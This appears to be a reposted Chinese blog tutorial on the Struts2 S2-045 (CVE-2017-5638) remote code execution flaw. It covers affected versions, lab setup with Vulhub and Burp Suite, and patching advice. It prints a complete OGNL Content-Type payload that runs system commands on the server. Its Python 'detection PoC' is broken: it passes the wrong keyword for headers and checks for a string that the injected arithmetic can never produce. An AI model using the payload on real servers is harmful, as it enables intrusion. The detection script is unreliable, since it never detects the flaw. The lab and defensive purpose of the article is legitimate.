Struts2 S2-045漏洞,你需要了解的安全风险是什么?

漏洞介绍

漏洞编号 S2-045
CVE编号 CVE-2017-5638
漏洞类型 远程代码执行
漏洞级别 高危
漏洞风险 黑客通过利用漏洞可以实现远程命令执行。
影响版本 struts2.3.5 – struts2.3.31, struts2.5 – struts2.5.10

环境准备

工具 说明
Docker 用于搭建漏洞测试环境
Vulhub靶场 提供漏洞测试平台
Burp Suite抓包工具 用于抓取和修改HTTP请求数据包

漏洞POC(Proof of Concept)

Struts2 S2-045漏洞,你需要了解的安全风险是什么?插图1

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

漏洞关键点

1、基于Jakarta插件的文件上传功能:该漏洞存在于使用Jakarta插件进行文件上传的功能中。

2、恶意用户精心构造Content-Type的值:通过修改HTTP请求头中的Content-Type值,攻击者可以触发该漏洞并执行系统命令。

漏洞利用步骤

1、搭建测试环境:使用Docker和Vulhub靶场搭建好漏洞测试环境,并访问相关界面。

2、选择文件上传:在界面上随便选择一个文件进行上传,并用Burp Suite抓包工具抓取HTTP请求数据包。

Struts2 S2-045漏洞,你需要了解的安全风险是什么?插图3

3、修改Content-Type值:在Repeater中修改Content-Type的值,以触发漏洞并执行系统命令。

检测POC

#!/usr/bin/env python
#coding:utf8
import requests
requests.packages.urllib3.disable_warnings()
def poccheck(url):
    result = False
    header = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
        'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"
    }
    try:
        response = requests.post(url, header=header)
        if "66666666" in response.text:
            result = True
    except Exception as e:
        pass
    return result

修复措施建议

1、升级Struts2版本:升级到官方发布的安全版本,如struts2.3.32或struts2.5.10.1。

2、删除commons-fileupload库:如果无法升级,可以考虑删除commons-fileupload-x.x.x.jar文件,但需注意这可能会影响网站的其他功能。

3、部署WAF等防护设备:如果以上方法均不可行,建议部署应用防火墙(WAF)等防护设备,并确保规则库已更新到最新版本。

Struts2 S2-045漏洞,你需要了解的安全风险是什么?插图5

到此,以上就是小编对于struts2 s2-045 漏洞的问题就介绍到这了,希望介绍的几点解答对大家有用,有任何问题和不懂的,欢迎各位朋友在评论区讨论,给我留言。

本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/89462.html

小末小末
上一篇 2024年11月3日 15:45
下一篇 2024年11月3日 15:56

相关推荐